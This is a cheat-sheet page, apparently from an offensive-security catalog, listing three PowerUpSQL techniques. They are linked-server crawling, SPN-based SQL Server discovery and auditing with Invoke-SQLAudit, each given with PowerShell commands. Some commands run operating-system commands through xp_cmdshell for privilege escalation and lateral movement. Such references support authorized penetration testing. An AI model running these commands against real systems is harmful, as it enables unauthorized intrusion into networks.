CatalogWADComs

WAD · Tool

PowerUpSQL

3 techniquesWindows · ActiveDirectoryWADComsGPL-3.0

PowerUpSQL-Get-SQLServerLinkCrawl

DÆMON
Privilege EscalationLateral MovementWindowsActiveDirectory

Get-SQLServerLinkCrawl recursively follows linked-server definitions from a starting instance, executing a query at every hop via OPENQUERY chains. Because linked servers frequently run under a higher-privileged (often sysadmin) mapped login on the remote side, crawling the graph commonly yields privilege escalation or lateral movement to instances the operator could not reach directly. Supply -Query to fingerprint each node, or drive command execution through xp_cmdshell across the chain. Command Reference: Target instance: 10.10.10.1

Import-Module .\PowerUpSQL.ps1

# Crawl all linked servers from the starting instance
Get-SQLServerLinkCrawl -Verbose -Instance 10.10.10.1 -Query "SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin')"

# Run an OS command on any node that allows it
Get-SQLServerLinkCrawl -Verbose -Instance 10.10.10.1 -Query "exec master..xp_cmdshell 'whoami'"
Evidence
Upstream reference
Environment
Active Directory
Native
PrivEsc, Lateral Movement
Requires
PowerShell
Services
MSSQL

PowerUpSQL-GetSQLInstanceDomain

DÆMON
DiscoveryEnumerationWindowsActiveDirectory

Get-SQLInstanceDomain queries the domain via LDAP for Service Principal Names beginning with MSSQL*, revealing every registered SQL Server instance and the account it runs as without touching a single database. It is the standard domain-wide MSSQL discovery step and runs under the current user's context from a domain-joined foothold. Pipe the results into Get-SQLConnectionTestThreaded to find which instances your account can actually log into. Command Reference: Domain: test.local

Import-Module .\PowerUpSQL.ps1

# Discover SQL Server instances from SPNs in the domain
Get-SQLInstanceDomain

# Then test which ones accept the current user
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Evidence
Upstream reference
Environment
Active Directory
Native
Discovery, Enumeration
Requires
PowerShell
Services
MSSQL, LDAP

PowerUpSQL-Invoke-SQLAudit

DÆMON
Privilege EscalationExecutionWindowsActiveDirectory

Invoke-SQLAudit runs PowerUpSQL's battery of privilege-escalation checks against an instance and reports exploitable misconfigurations (impersonation, trustworthy databases, agent jobs, etc.). Where the login already has the rights, Invoke-SQLOSCmd executes an operating-system command through the instance (using xp_cmdshell), returning output. Both take -Instance in HOST\INSTANCE or HOST,PORT form and use integrated auth by default. Command Reference: Target instance: 10.10.10.1

Import-Module .\PowerUpSQL.ps1

# Audit an instance for privesc issues
Invoke-SQLAudit -Verbose -Instance 10.10.10.1

# Execute an OS command through the instance
Invoke-SQLOSCmd -Verbose -Instance 10.10.10.1 -Command "whoami"
Evidence
Upstream reference
Environment
Active Directory
Native
PrivEsc, Exploitation
Requires
PowerShell
Services
MSSQL